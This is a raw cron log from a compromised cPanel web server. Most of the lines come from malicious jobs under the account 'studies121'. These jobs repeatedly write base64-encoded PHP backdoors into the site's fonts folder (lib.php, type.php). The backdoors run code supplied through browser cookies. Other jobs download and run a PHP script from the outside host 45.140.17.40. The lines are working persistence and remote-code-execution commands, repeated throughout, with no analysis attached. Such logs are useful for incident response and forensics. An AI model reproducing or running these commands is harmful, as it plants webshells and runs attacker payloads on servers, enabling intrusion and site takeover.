Sep 20 18:10:01 ip-184-168-122-23 CROND[27706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:10:01 ip-184-168-122-23 CROND[27709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:10:02 ip-184-168-122-23 CROND[27711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:10:02 ip-184-168-122-23 CROND[27712]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 18:10:02 ip-184-168-122-23 CROND[27715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:10:02 ip-184-168-122-23 CROND[27714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:10:02 ip-184-168-122-23 CROND[27713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:10:02 ip-184-168-122-23 CROND[27716]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:11:01 ip-184-168-122-23 CROND[27965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:11:01 ip-184-168-122-23 CROND[27967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:11:01 ip-184-168-122-23 CROND[27968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:11:01 ip-184-168-122-23 CROND[27973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:12:01 ip-184-168-122-23 CROND[28228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:12:01 ip-184-168-122-23 CROND[28229]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:12:01 ip-184-168-122-23 CROND[28232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:12:01 ip-184-168-122-23 CROND[28230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:12:01 ip-184-168-122-23 CROND[28233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:13:01 ip-184-168-122-23 CROND[28480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:13:01 ip-184-168-122-23 CROND[28481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:13:01 ip-184-168-122-23 CROND[28485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:13:01 ip-184-168-122-23 CROND[28486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:14:01 ip-184-168-122-23 CROND[28832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:14:01 ip-184-168-122-23 CROND[28834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:14:01 ip-184-168-122-23 CROND[28836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:14:01 ip-184-168-122-23 CROND[28835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:14:01 ip-184-168-122-23 CROND[28837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:15:01 ip-184-168-122-23 CROND[29099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:15:01 ip-184-168-122-23 CROND[29104]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:15:01 ip-184-168-122-23 CROND[29103]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 20 18:15:01 ip-184-168-122-23 CROND[29107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:15:01 ip-184-168-122-23 CROND[29101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:15:01 ip-184-168-122-23 CROND[29102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:15:01 ip-184-168-122-23 CROND[29105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:15:01 ip-184-168-122-23 CROND[29106]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 20 18:16:01 ip-184-168-122-23 CROND[29412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:16:01 ip-184-168-122-23 CROND[29413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:16:01 ip-184-168-122-23 CROND[29415]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:16:01 ip-184-168-122-23 CROND[29416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:16:01 ip-184-168-122-23 CROND[29420]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 18:16:01 ip-184-168-122-23 CROND[29419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:17:01 ip-184-168-122-23 CROND[29652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:17:01 ip-184-168-122-23 CROND[29650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:17:01 ip-184-168-122-23 CROND[29655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:17:01 ip-184-168-122-23 CROND[29658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:18:01 ip-184-168-122-23 CROND[29888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:18:01 ip-184-168-122-23 CROND[29890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:18:01 ip-184-168-122-23 CROND[29889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:18:01 ip-184-168-122-23 CROND[29891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:18:01 ip-184-168-122-23 CROND[29892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:19:01 ip-184-168-122-23 CROND[30206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:19:01 ip-184-168-122-23 CROND[30205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:19:01 ip-184-168-122-23 CROND[30207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:19:01 ip-184-168-122-23 CROND[30209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:20:01 ip-184-168-122-23 CROND[30448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:20:01 ip-184-168-122-23 CROND[30451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 18:20:01 ip-184-168-122-23 CROND[30453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:20:01 ip-184-168-122-23 CROND[30450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 18:20:01 ip-184-168-122-23 CROND[30454]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 18:20:01 ip-184-168-122-23 CROND[30458]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:20:01 ip-184-168-122-23 CROND[30457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:20:01 ip-184-168-122-23 CROND[30461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 18:20:01 ip-184-168-122-23 CROND[30459]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 18:21:01 ip-184-168-122-23 CROND[30724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 18:21:01 ip-184-168-122-23 CROND[30727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 18:21:01 ip-184-168-122-23 CROND[30728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 18:21:01 ip-184-168-122-23 CROND[30729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 18:22:01 ip-184-168-122-23 CROND[30979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
